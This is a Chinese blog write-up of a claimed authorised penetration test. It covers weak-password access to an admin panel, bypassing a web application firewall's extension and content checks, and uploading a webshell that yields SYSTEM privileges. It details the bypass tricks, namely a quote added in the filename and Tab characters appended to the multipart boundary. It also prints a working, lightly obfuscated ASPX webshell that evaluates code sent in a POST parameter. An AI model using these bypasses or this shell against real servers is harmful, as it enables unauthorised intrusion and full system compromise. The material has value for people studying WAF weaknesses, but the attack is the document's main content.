• 实战绕过某waf后缀检测内容检测


    本次测试为授权测试。

    0x01 背景

    弱口令进入某后台,存在任意文件上传,存在waf

    测试aa后缀成功上传通过查看派单可以看到文件路径

    直接上传aspx被拦截

    0x02 绕过后缀名检测

    先简单尝试大小写被拦截,ashx,asmx,asp,cer都被拦截

    直接上传cshtml,可参考https://www.cnblogs.com/cwkiller/p/12087890.html

    访问跳转404,估计是不解析

    尝试直接绕过waf后缀检测简单测试后发现在双引号后面加个单引号就能绕过

    0x03 绕过内容检测

    直接上冰蝎马,发现检测内容被waf拦截了

    复制图片内容把马夹在中间,依旧绕不过,有的waf可能比较大的包就直接放行了,这个不行我复制了很大的图片内容依然被拦截

    这个站在之前测试注入过程中并没有发现waf,尝试直接将一句话post发送(非上传格式)发现并不会拦截

    猜测waf肯定通过Content-Type: multipart/form-data来判定这是个上传包,然后就检测内容

    而waf是如何解析post包哪个地方是上传的内容呢,是根据

    Content-Type: multipart/form-data; boundary=---------------------------7e43d3910182
    

    Content-Type中boundary的值---------------------------7e43d3910182

    那么思路就来了,我们在---------------------------7e43d3910182后加多个Tab键服务端既正常解析上传内容而waf则可能通过
    ---------------------------7e43d3910182TabTab 去查找上传的内容然而并找不到从而被绕过,讲了这么就那肯定要测一把

    bingo成功绕过内容检测

    0x04 奇怪的404

    上传成功了先访问马看看

    又是这个情况,哪里出问题了呢,直接连接马也连不上,抽根烟记起之前搞得一个jsp站也是上传成功了老是404https://www.cnblogs.com/cwkiller/p/11788009.html

    可能是马要有内容输出才不会404,直接上大马,连接成功system权限

    验证是否是马要有内容输出才不会404,上传打印当前时间的aspx

    <%@Page Language="C#"%>
    <%
    Response.Write(DateTime.Now.ToString("yyyy-MM-dd HH:mm:ss"));
    System.IO.File.Delete(Request.PhysicalPath);
    %>
    

    印证猜测,蚁剑马增加一句输出hello,world语句

    <%@ Page Language="Jscript" Debug=true%>
    <%
    Response.Write("hello,world");
    var hw=Request.Form("mr6");
    var du='iNUZuDe';
    var zu=du.replace("iNUZuD","unsaf");
    function RIEo(BWrg)
    {eval(BWrg,zu);}
    RIEo(hw);
    %>
    

    带上cookie(此目录下的文件需要登录才能访问),连接成功

  • 相关阅读:
    LeetCode OJ--Best Time to Buy and Sell Stock II
    LeetCode OJ--Best Time to Buy and Sell Stock
    路飞学城Python-Day37(practise)
    路飞学城Python-Day37
    路飞学城Python-Day36
    路飞学城Python-Day35
    路飞学城Python-Day35
    “肥宅快乐数”-python暴力版
    路飞学城Python-Day34
    路飞学城Python-Day33
  • 原文地址:https://www.cnblogs.com/cwkiller/p/12679528.html
Copyright © 2020-2023  润新知